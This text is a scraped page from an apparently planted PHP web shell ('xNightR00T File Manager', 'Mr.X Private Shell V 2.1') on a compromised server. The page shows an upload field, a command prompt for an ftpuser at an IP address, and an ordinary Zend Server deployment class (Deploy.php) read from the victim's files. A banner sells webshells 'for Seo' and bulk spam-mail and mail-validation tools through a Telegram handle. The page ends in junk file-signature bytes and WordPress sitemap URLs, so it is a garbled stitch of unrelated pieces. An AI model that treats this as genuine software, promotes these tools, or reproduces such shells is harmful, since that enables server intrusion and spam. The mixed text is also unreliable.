xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Deployment\Mapper;

use Deployment\Model;
use Deployment\Exception;
use ZendServer\Log\Log;
use Vhost\Mapper\Vhost;
use Vhost\Entity\Vhost as VhostEntity;
use Vhost\Mapper\Exception as VhostException;

class Deploy
{
    /**
     * @var Model
     */
    private $deploymentMapper;

    /**
     * @var Vhost
     */
    private $vhostsMapper;

    /**
     * @var \ZendDeployment_Manager
     */
    private $manager = null;

    /**
     * Last vhost id
     * @var int
     */
    private $lastVhostId = null;

    public function downloadFile($appId, $libId, $url, $extraData)
    {
        if (!is_array($extraData)) {
            $extraData = json_decode($extraData, true);
        }

        if (!is_null($libId) && !is_int($libId)) {
            $libId = (int) $libId;
        }

        if (!is_null($appId) && !is_int($appId)) {
            $appId = (int) $appId;
        }

        $edition = new \ZendServer\Edition();

        try {
            /* @var \ZendDeployment_Manager */
            $manager  = $this->getManager();
            $serverId = $edition->getServerId();
            $manager->downloadFile($serverId, $appId, $libId, $url, $extraData);
        } catch (\ZendDeployment_Exception $e) {
            throw \Deployment\Exception::fromZendDeploymentException($e);
        }

        return true;
    }

    public function cancelDownloadFile($downloadId)
    {
        Log::debug("Canceling download {$downloadId}");

        $edition = new \ZendServer\Edition();

        $this->getManager()->cancelDownloadFile($edition->getServerId(), $downloadId);
    }

    /**
     * Get last vhost id
     * @return type
     */
    public function getLastVhostId()
    {
        return $this->lastVhostId;
    }

    /**
     * Check if has last vhost id
     * @return bool
     */
    public function hasLastVhostId()
    {
        return isset($this->lastVhostId);
    }

    /**
     * Set last vhost id
     * @param type $vhostId
     */
    public function setLastVhostId($vhostId)
    {
        $this->lastVhostId = $vhostId;
    }
    
    /**
     * Deploy existing app on specific servers (in case when the app is installed only on part of the nodes)
     * 
     * @param integer $appId 
     * @param array $servers 
     * @param integer $auditId 
     * @return  
     */
    public function deployExistingAppOnNodes($appId, array $servers, $auditId) {
        $this->getManager()->deployExistingApplicationOnNodes($appId, $servers, $auditId);
    }

    /**
     * @param string $baseUrl
     * @return boolean
     * @throws \ZendServer\Exception
     */
    public function deployApplication($baseUrl, $serversSet = null, $auditMessage = null)
    {
        if (!$this->getDeploymentMapper()->isDeploySupportedByWebserver()) {
            throw new Exception(_t('Deployment is not supported on this Web server'));
        }
        $servers = $this->getDeploymentMapper()->getRespondingServers();
        Log::debug("Deploy app {$baseUrl} on servers ".implode(',', $servers));

        /* @var \Deployment\Application\ApiPendingDeployment */
        $pendingDeployment = $this->getDeploymentMapper()->getPendingDeploymentByBaseUrl($baseUrl);
        
        // check if pending deployment found
        if (!$pendingDeployment->getStatus()) {
            throw new \Exception('No pending deployment package');
        }

        $zendParams = $this->getDeploymentMapper()->addAuditIdToZendParams($pendingDeployment->getZendParams());

        try {
            if ($zendParams['defaultServer']) {
                $zendParams['vhostId'] = $this->getVhostsMapper()->getDefaultServerVhost()->getId();
            } elseif ($zendParams['createVhost']) {
                $vhost = $this->getVhostsMapper()->createVhostFromURL($baseUrl,true);
                if (!$vhost instanceof VhostEntity) {
                    throw new \Vhost\Mapper\Exception(_t('Vhost creation failed, deployment failed'),
                    VhostException::VHOST_OPERATION_FAILED);
                }
                $zendParams['vhostId'] = $vhost->getId();
            } else {
                $vhost = $this->getVhostsMapper()->vhostFromURL($baseUrl);

                if (!$vhost instanceof VhostEntity) {
                    throw new \Vhost\Mapper\Exception(_t('Vhost creation failed, deployment failed'),
                    VhostException::VHOST_OPERATION_FAILED);
                }
                $zendParams['vhostId'] = $vhost->getId();
            }

            // set ignoreFailure only to demo app
            if ($pendingDeployment->getDeploymentPackage()->getName() == \Deployment\Controller\WizardController::DEMO_APP_PACKAGE_NAME
                ||
                $pendingDeployment->getDeploymentPackage()->getName() == \Deployment\Controller\WizardController::SAMPLES_APP_PACKAGE_NAME) {
                $zendParams['ignoreFailures'] = '1';
            }

            $this->getManager()->deployApplication($servers, $pendingDeployment->getDeploymentPackage(),
                $pendingDeployment->getUserParams(), $zendParams);
        } catch (\ZendDeployment_Exception $e) {
            throw \Deployment\Exception::fromZendDeploymentException($e);
        }
        if (isset($vhost) && $vhost->getId()) {
            $vhostId = $vhost->getId();
        } elseif (isset($zendParams['vhostId'])) {
            $vhostId = $zendParams['vhostId'];
        } else {
            $vhostId = null;
        }
        $this->setLastVhostId($vhostId);

        return true;
    }

    /**
     * @return Model
     */
    public function getDeploymentMapper()
    {
        return $this->deploymentMapper;
    }

    /**
     * @return Vhost
     */
    public function getVhostsMapper()
    {
        return $this->vhostsMapper;
    }

    /**
     * @return \ZendDeployment_Manager
     */
    public function getManager()
    {
        return $this->manager;
    }

    /**
     * @param ZendDeployment_Manager $manager
     */
    public function setManager($manager)
    {
        $this->manager = $manager;
    }

    /**
     * @param \Vhost\Mapper\Vhost $vhostsMapper
     */
    public function setVhostsMapper($vhostsMapper)
    {
        $this->vhostsMapper = $vhostsMapper;
    }

    /**
     * @param \Deployment\Model $deploymentMapper
     */
    public function setDeploymentMapper($deploymentMapper)
    {
        $this->deploymentMapper = $deploymentMapper;
    }
}

Filemanager

Name Type Size Permission Actions
Deploy.php File 6.27 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml